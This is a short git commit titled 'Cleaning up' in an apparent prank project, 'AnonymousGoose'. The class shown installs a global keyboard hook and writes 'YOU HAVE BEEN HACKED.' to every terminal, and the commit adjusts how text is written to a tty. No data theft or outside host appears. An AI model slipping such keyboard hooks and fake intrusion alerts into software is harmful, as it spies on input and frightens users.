Cleaning up

This commit is contained in:
Anonymus Raccoon
2020-04-25 12:35:50 +02:00
parent fa14d1a18b
commit c685049c17
2 changed files with 5 additions and 4 deletions

View File

@@ -15,8 +15,6 @@ class AnonymousGoose:
self.keyboard_listener.KeyUp = self.key_pressed
self.keyboard_listener.HookKeyboard()
self.keyboard_listener.start()
# print(DetectTerm.find_terminal())
# time.sleep(1)
Term.print_all("YOU HAVE BEEN HACKED.\n")
def __del__(self):
@@ -46,6 +44,6 @@ class AnonymousGoose:
if __name__ == "__main__":
goose = AnonymousGoose()
term = Term()
print(term.tty)
term.print("Test")
goose.run()
goose.stop()

View File

@@ -1,5 +1,6 @@
import os
import shutil
import time
from command_helper import CommandHelper
@@ -32,9 +33,11 @@ class Term:
def __init__(self):
self.tty = self.create_tty()
time.sleep(.5)
def print(self, msg):
CommandHelper.run_async("{msg} > {self}")
with open(self.tty, "w") as file:
file.write(msg)
@staticmethod
def print_all(msg):